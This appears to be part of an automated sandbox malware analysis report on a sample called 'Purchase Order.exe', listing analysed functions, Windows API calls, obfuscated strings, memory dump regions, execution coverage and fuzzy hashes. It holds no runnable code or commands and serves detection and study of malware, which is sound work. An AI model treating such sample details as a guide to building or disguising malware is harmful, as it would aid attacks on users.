Opcode Fuzzy Hash: e3dda661aee8dd5407b6d454dedd461a768af1d3b2e32b7100c159d0cb86a48a
Instruction Fuzzy Hash: 69E0C2338110309BC6211F15EE04B5ABBAC7F49F22F01407AFC407B2A08B746C424BD9

Function 004059B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402DB6,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Purchase Order.exe,C:\Users\user\Desktop\Purchase Order.exe,80000000,00000003), ref: 004059B6
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402DB6,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Purchase Order.exe,C:\Users\user\Desktop\Purchase Order.exe,80000000,00000003), ref: 004059C4

Strings

C:\Users\user\Desktop, xrefs: 004059B0

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1246513382
Opcode ID: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction ID: 4c364b2a586e3df4272a597733e657329f4de9264f8513980004e000b8aa575c
Opcode Fuzzy Hash: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction Fuzzy Hash: 82D0C7E2419E709EF30352549D04B9F6E98DF16750F0A14A2F141E6192D77C5D418BAD

Function 100010E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000115B
GlobalFree.KERNEL32(00000000), ref: 100011B4
GlobalFree.KERNEL32(?), ref: 100011C7
GlobalFree.KERNEL32(?), ref: 100011F5

Memory Dump Source

Source File: 00000000.00000002.2762281649.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2762228322.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762310776.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2762334808.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Purchase Order.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction ID: 5d3a3765e571093bf703368c32e31ec5bfeafbef09712c331e02e9e13643e521
Opcode Fuzzy Hash: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction Fuzzy Hash: 6531ABB1808255AFF715CFA8DC89AEA7FE8EB052C1B164115FA45D726CDB34D910CB24

Function 00405ACF Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405ADF
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405AF7
CharNextA.USER32(00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B08
lstrlenA.KERNEL32(00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B11

Memory Dump Source

Source File: 00000000.00000002.2754646281.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2754632794.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754667148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754681917.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754754068.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Purchase Order.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: ca0b18bb87844b4bf03c2f7d3918b69422ab9094ff5260ece92dc9b1c2472986
Instruction ID: b8bae3ead32ec2695fa88c6f2b94aa478c41e31f8fdb951db119f3f4d21ee890
Opcode Fuzzy Hash: ca0b18bb87844b4bf03c2f7d3918b69422ab9094ff5260ece92dc9b1c2472986
Instruction Fuzzy Hash: C1F0C231605518BFCB029FA5DC4099FBBB8EF46350B2140A5F800F7250D274FE019BA9

Analysis Process: Purchase Order.exePID: 3340, Parent PID: 2876COMMON

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	71
Total number of Limit Nodes:	5

Executed Functions

Function 0011CA08 Relevance: 6.5, Strings: 5, Instructions: 222
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 0011CC37
0o@p, xrefs: 0011CACA
PH]q, xrefs: 0011CCAF
PH]q, xrefs: 0011CCC0
Lj@p, xrefs: 0011CC4D

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 2c520db6838c3021118db826787825c6f55f4324973760aebe5e384b84ed93d7
Instruction ID: 1653d03393fcd5139caf9ed70129f4096487dc7fa9ce4c30a2fb6ff36e11d0a1
Opcode Fuzzy Hash: 2c520db6838c3021118db826787825c6f55f4324973760aebe5e384b84ed93d7
Instruction Fuzzy Hash: 23A1D774E402189FDB18DFA9D894ADDBBF2BF89310F148069E419AB361DB349D85CF90

Function 0011CD28 Relevance: 6.4, Strings: 5, Instructions: 191
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH]q, xrefs: 0011CF7F
PH]q, xrefs: 0011CF90
0o@p, xrefs: 0011CD9A
Lj@p, xrefs: 0011CF1D
Lj@p, xrefs: 0011CF07

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: d91f21427a07aa575ebb243d0f5fd9a716194b6791bbbdb5470926f92b8a9e65
Instruction ID: 4f2b89ca648dd19c0d8fa5b11a582cc9513e4d0b274b3c8ae690e43947ed6581
Opcode Fuzzy Hash: d91f21427a07aa575ebb243d0f5fd9a716194b6791bbbdb5470926f92b8a9e65
Instruction Fuzzy Hash: 2181C374E00258CFDB18DFAAD884ADDBBF2BF89300F148069E419AB365DB349985CF50

Function 00115370 Relevance: 6.4, Strings: 5, Instructions: 188
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 00115566
Lj@p, xrefs: 00115550
0o@p, xrefs: 001153E2
PH]q, xrefs: 001155D9
PH]q, xrefs: 001155C8

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 99c5e67cdf945c24539d31d2cbdeb6f6f6687643a32b6b2b12e3cec602a6df26
Instruction ID: 1d37b3e9c4689db2995244e5bdd436982b539693cb22f20b8da32c1f33d7f62b
Opcode Fuzzy Hash: 99c5e67cdf945c24539d31d2cbdeb6f6f6687643a32b6b2b12e3cec602a6df26
Instruction Fuzzy Hash: 4B81B474E00618CFDB58DFA9D984A9DBBF2BF88300F14C169E419AB365DB349985CF50

Function 00115C38 Relevance: 6.4, Strings: 5, Instructions: 188
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0o@p, xrefs: 00115CAA
Lj@p, xrefs: 00115E2E
Lj@p, xrefs: 00115E18
PH]q, xrefs: 00115E90
PH]q, xrefs: 00115EA1

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: de24d2fb04637abda50af5b8938218138ccdeeb6e626f8291e1f3ed4876c3d5e
Instruction ID: 1cea5feaf20d8489dcaf721c8b5a0f6a1a33b34148f55c5063c29eeef4acb24c
Opcode Fuzzy Hash: de24d2fb04637abda50af5b8938218138ccdeeb6e626f8291e1f3ed4876c3d5e
Instruction Fuzzy Hash: FA81A174E01618CFDB18DFA9D884A9DBBF2BF88300F14C069E819AB365DB349981CF50

Function 0011CFF7 Relevance: 6.4, Strings: 5, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH]q, xrefs: 0011D24F
0o@p, xrefs: 0011D06A
Lj@p, xrefs: 0011D1ED
Lj@p, xrefs: 0011D1D7
PH]q, xrefs: 0011D260

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 7fddbcb1a062ed983d3728537bb7b6006a7f89f028fabe09a85eaa9cd29867f0
Instruction ID: a2818e044758e060f5a38ca7a85ab36d1ff1d248b6ab1457ebca4eaa5bcfb7fd
Opcode Fuzzy Hash: 7fddbcb1a062ed983d3728537bb7b6006a7f89f028fabe09a85eaa9cd29867f0
Instruction Fuzzy Hash: E5818274E00218DFDB18DFAAD984A9DBBF2BF89310F14C069E419AB365DB349985CF50

Function 0011D2CA Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 0011D4A7
0o@p, xrefs: 0011D33A
PH]q, xrefs: 0011D51F
Lj@p, xrefs: 0011D4BD
PH]q, xrefs: 0011D530

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: cefe07564ccdb8ca2c712aa55b02ec107498bac0c38a173a7dfa4bf39c546ef0
Instruction ID: 6867f8c758c612bf843a046ce68dd50d24a2a8cba04dd7b26c74009bc71cf540
Opcode Fuzzy Hash: cefe07564ccdb8ca2c712aa55b02ec107498bac0c38a173a7dfa4bf39c546ef0
Instruction Fuzzy Hash: 8181A474E00218DFDB18DFAAD984ADDBBF2BF89310F148069E419AB365DB349985CF50

Function 0011D599 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 0011D777
PH]q, xrefs: 0011D7EF
Lj@p, xrefs: 0011D78D
PH]q, xrefs: 0011D800
0o@p, xrefs: 0011D60A

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: cb74813b3984b81b0f335a748b91eda5db9f6bdd49fdc201ea0f311c065830be
Instruction ID: d4d7952b52d027a21ed4f1f2c4203797a2f0f5fed224fb989adeaf0686ed9fd9
Opcode Fuzzy Hash: cb74813b3984b81b0f335a748b91eda5db9f6bdd49fdc201ea0f311c065830be
Instruction Fuzzy Hash: CC819274E01218DFDB18DFAAD984A9DBBF2BF88310F148069E419AB365DB349985CF50

Function 001129EC Relevance: 5.5, Strings: 4, Instructions: 492
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xaq, xrefs: 00112AD8
Xaq, xrefs: 00112A9E
Xaq, xrefs: 00112BA4
Xaq, xrefs: 00112B57

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: Xaq$Xaq$Xaq$Xaq
API String ID: 0-4015495023
Opcode ID: f16079a8ea7e592a13e674b8076726f892dbf02d1ddae77497f1f5d9e4c61cf3
Instruction ID: 74bc381b6724cbd711981b0295782170a16353472aadef6d8715c59e2cf2d1e0
Opcode Fuzzy Hash: f16079a8ea7e592a13e674b8076726f892dbf02d1ddae77497f1f5d9e4c61cf3
Instruction Fuzzy Hash: 6E02F13184D3D18FCBA78B788C6019A7FB2AF47214B5A04FAC8818A563E3794D86CB51

Function 001181E0 Relevance: 5.3, Strings: 4, Instructions: 328
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,aq, xrefs: 00118352
(o]q, xrefs: 001182DA
,aq, xrefs: 00118360
(o]q, xrefs: 001182E8

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$,aq$,aq
API String ID: 0-1947289240
Opcode ID: c909cbbf7b06a0c313fd43c3ddc88e9016ba9ca3f8f8055064f48100c5300773
Instruction ID: ffac7383b59452487c8a7e189ed78ba338afee464412e62f5d686d293cca03bc
Opcode Fuzzy Hash: c909cbbf7b06a0c313fd43c3ddc88e9016ba9ca3f8f8055064f48100c5300773
Instruction Fuzzy Hash: EFD1E970A00119DFCB59CFA9D984AEDBBB2FF88344F25C165E815AB265DB30ED81CB50

Function 39AB47A8 Relevance: 4.3, Strings: 1, Instructions: 3069COMMON

Download Yara Rule

Strings

N, xrefs: 39AB7B88

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: 0ee9c5e34f3cd09f4a92e87ddc84f1f122e74a3ed394834e23d49f9b5fde2fdb
Instruction ID: b642c58e8578763af217c1b27f35fced25df75da036f9762433fde7024e323fe
Opcode Fuzzy Hash: 0ee9c5e34f3cd09f4a92e87ddc84f1f122e74a3ed394834e23d49f9b5fde2fdb
Instruction Fuzzy Hash: 77730731C1075A8EDB11EF68C854A9DF7B1FF99300F51D69AE4486B221EB70AAD4CF81

Function 0011CA58 Relevance: 3.9, Strings: 3, Instructions: 152COMMON

Download Yara Rule

Strings

0o@p, xrefs: 0011CACA
PH]q, xrefs: 0011CCAF
PH]q, xrefs: 0011CCC0

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: 0o@p$PH]q$PH]q
API String ID: 0-2023588385
Opcode ID: b9d9b06a6cc64bb5b831a7ce49666e07f67bd14c09b80c7aea1a36b3b45486e0
Instruction ID: 919c208cc618cd259c0d1ac9f625340845b7c93aefeaddadc3a505ee6e672fbc
Opcode Fuzzy Hash: b9d9b06a6cc64bb5b831a7ce49666e07f67bd14c09b80c7aea1a36b3b45486e0
Instruction Fuzzy Hash: 4D61B574E406089FDB18DFAAD984ADDBBF2BF89300F14C069E418AB365DB349985CF50

Function 39AB9398 Relevance: 3.5, Strings: 1, Instructions: 2262COMMON

Download Yara Rule

Strings

K, xrefs: 39ABBA6B

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: 4779c0ca92b4d6e67f818f331c512e639791ffecab0f2e6aa42c178609b3f60d
Instruction ID: 2e36555ba3c458a23559103a44314141a272fd78e5349425e02f87e2ea70c16c
Opcode Fuzzy Hash: 4779c0ca92b4d6e67f818f331c512e639791ffecab0f2e6aa42c178609b3f60d
Instruction Fuzzy Hash: CD33E430C146198EDB11EF68C854ADDFBB5FF99300F51D69AE4486B221EB70AAD4CF81

Function 0011AD48 Relevance: 3.4, Strings: 2, Instructions: 919COMMON

Download Yara Rule

Strings

4']q, xrefs: 0011B7D3
(o]q, xrefs: 0011B1D8

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: (o]q$4']q
API String ID: 0-176817397
Opcode ID: a5f8765d773437d7c73fcc58a9235a8427838b810f8345f18641d8c1dd40e86c
Instruction ID: 273e84edfac60c3a8756c448fc22fffdafe7f223fd855dce77648438f138993a
Opcode Fuzzy Hash: a5f8765d773437d7c73fcc58a9235a8427838b810f8345f18641d8c1dd40e86c
Instruction Fuzzy Hash: 71826C74A08209DFCB19CF68C994AEEBBF2FF89310F158565E4059B2A1D730ED85CB91

Function 39CA7D78 Relevance: 2.7, Strings: 2, Instructions: 182COMMON

Download Yara Rule

Strings

PH]q, xrefs: 39CA7FB2
PH]q, xrefs: 39CA7FC3

Memory Dump Source

Source File: 00000004.00000002.3386868967.0000000039CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ca0000_Purchase Order.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: 582c6b74e9ada20c4bd1ffbcfb4c8ccbad7bd9a9efefbd97b1f91262e4aaeb7f
Instruction ID: 24ab11028735eb76e8b0bc7c81c01a5d3ddaf24ea872269399d4bed7801115b9
Opcode Fuzzy Hash: 582c6b74e9ada20c4bd1ffbcfb4c8ccbad7bd9a9efefbd97b1f91262e4aaeb7f
Instruction Fuzzy Hash: 6D81BE74E00219CFEB18DFAAD994B9DBBF2BF89300F20816AD419AB354DB345946CF50

Function 39AB1788 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

8, xrefs: 39AB178D

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: de126c642a97ce77e63ea4974595a205a25201d7bae7d26690aa40d9f62edbf7
Instruction ID: 67937d9cefd19a9d5ae44a1ff1e850b44898ab3c10c68136cbe739e326235662
Opcode Fuzzy Hash: de126c642a97ce77e63ea4974595a205a25201d7bae7d26690aa40d9f62edbf7
Instruction Fuzzy Hash: 5B415AB1D016188BEB58CF5BC9447DEFAF3AFC9304F14C1A9D40CA6264EB754A858F51

Function 39D3D0D0 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3387027047.0000000039D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d30000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e17dca1bbec754c0bfcbbe11454b395d64f03ad4889b50aa187ff5ae151e607
Instruction ID: 45609d994dc6c3a23f3ece7887bf65ada89ab16f513b5b67c8c2f6858360a4a0
Opcode Fuzzy Hash: 0e17dca1bbec754c0bfcbbe11454b395d64f03ad4889b50aa187ff5ae151e607
Instruction Fuzzy Hash: C7827974E012288FDB64DF69CD95BD9BBB2BF89300F1081E9984DA7265DB346E85CF40

Function 39D3E060 Relevance: .7, Instructions: 677COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3387027047.0000000039D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d30000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a769744a8661d7a1b82d1ad2e713b6f3d7e8a11e1b41930b8d81ee6f6f0761a
Instruction ID: 2a7f3881f93254e071c105a0979e43738473aae5831a4ad9317a24ae8ff343e2
Opcode Fuzzy Hash: 1a769744a8661d7a1b82d1ad2e713b6f3d7e8a11e1b41930b8d81ee6f6f0761a
Instruction Fuzzy Hash: E9727C74E012288FDB65DF69CD95BDABBB2BF89300F1081E9A44CA7261DB345E81CF51

Function 39AB8AA8 Relevance: .5, Instructions: 528COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81a0fb991e485fa97992778f869b7310b18f43e144a95055e2c8303208b5940e
Instruction ID: cac2b4418f2ba9ce779c9e4b6c6461404b12ac184da1af3a0976c88fdf8163ea
Opcode Fuzzy Hash: 81a0fb991e485fa97992778f869b7310b18f43e144a95055e2c8303208b5940e
Instruction Fuzzy Hash: DF223AB4E00219CFDB14DFA8C994B9DBBB6BF88304F5086A9D809AB355DB349D85CF50

Function 39D156B8 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386945525.0000000039D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d10000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcfcd5492ba7c6f2adb255fdc57d42b8c73eb65a4a0d4f796982673bd286acfe
Instruction ID: 5a31b42bdebedf916a148e718a1ce26b1dfd8f73282112bf3502acf7c2ba059a
Opcode Fuzzy Hash: fcfcd5492ba7c6f2adb255fdc57d42b8c73eb65a4a0d4f796982673bd286acfe
Instruction Fuzzy Hash: 7AE1BFB4E01218CFDB64CFA9D944B9DBBB2BF89300F1081A9D808BB365DB355A85CF55

Function 39CA7720 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386868967.0000000039CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ca0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6f8d2b8bf2415e95c062aa5b01f2de9bd1d40af807e99908a9b96b84ffa176b
Instruction ID: 6cd53123ab53ac10a828c7f888b2ffd6ea0a0d626470a77c9c7ddffb494f477c
Opcode Fuzzy Hash: c6f8d2b8bf2415e95c062aa5b01f2de9bd1d40af807e99908a9b96b84ffa176b
Instruction Fuzzy Hash: 99E1D174E00218CFEB54CFA9D944B9DBBB2BF89304F1081A9D809BB3A5DB355A85CF51

Function 39D15D58 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386945525.0000000039D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d10000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2d5d4391fba19645f62ff4c88f58c24eb4ffdaaac5d598eb23dd6d6a8e95e9a
Instruction ID: e055bea4499075c2fb874e7bb934d882d5045947453222865d2f0de03ae3421b
Opcode Fuzzy Hash: a2d5d4391fba19645f62ff4c88f58c24eb4ffdaaac5d598eb23dd6d6a8e95e9a
Instruction Fuzzy Hash: 7CD1A174E002188FDB54DFA5D985B9DBBB2BF89300F5081A9D808AB365DB399D86CF50

Function 39D41360 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3387085241.0000000039D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d40000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52ef1e769407bf97b6f489ee662adca248c652eddb9ec3e6eae130a2abc7a55f
Instruction ID: 4b3da26d0bac7e8309ab60013b96bfd5d9ef541fe2a76cb16195ddf587882d62
Opcode Fuzzy Hash: 52ef1e769407bf97b6f489ee662adca248c652eddb9ec3e6eae130a2abc7a55f
Instruction Fuzzy Hash: 54D1A278E01218CFDB54DFA5C985B9DBBB2BF89300F5081A9D808AB365DB359D86CF50

Function 39CA8B58 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386868967.0000000039CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ca0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dac6663910fb07f419657d9f82dff33f23f9ebaa03f19011e57c771c6ee79457
Instruction ID: a930c5c305810f9b1cbb1ee71dbd0e2680ebc2d9ffdcec27d3abed9f5cbf9c47
Opcode Fuzzy Hash: dac6663910fb07f419657d9f82dff33f23f9ebaa03f19011e57c771c6ee79457
Instruction Fuzzy Hash: 6DD1AE78E00218DFDB54DFA9D984B9DBBB2BF89300F1081A9D808AB365DB355D86CF51

Function 39AB1E80 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b0c62c8cf707b792b2dc0cb6d30eb92f39dbdd225778d7d761a31bc01cf6c3f
Instruction ID: 4d94c047bf957b1b77f50f56979f54ed6e05529b352f0c237c06aec6e98cd893
Opcode Fuzzy Hash: 6b0c62c8cf707b792b2dc0cb6d30eb92f39dbdd225778d7d761a31bc01cf6c3f
Instruction Fuzzy Hash: 93C19174E00218CFDB54DFA9C954B9DBBB2BF89300F1081A9D809AB365DB359A86CF51

Function 39CA1A50 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386868967.0000000039CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ca0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ec2eac1cbfb45a8fbf9cfccdc2e4f7d37c3932c8cc4987ebca02e4ba9987f43
Instruction ID: 470ed0c1fac4995adc6db0fb1df9fbebd487cfef1c4e1953f5e8c25ce9302869
Opcode Fuzzy Hash: 9ec2eac1cbfb45a8fbf9cfccdc2e4f7d37c3932c8cc4987ebca02e4ba9987f43
Instruction Fuzzy Hash: 3FC1C174E00218CFDB54DFA9D984B9DBBB2BF89300F1081A9D809AB365DB359E85CF51

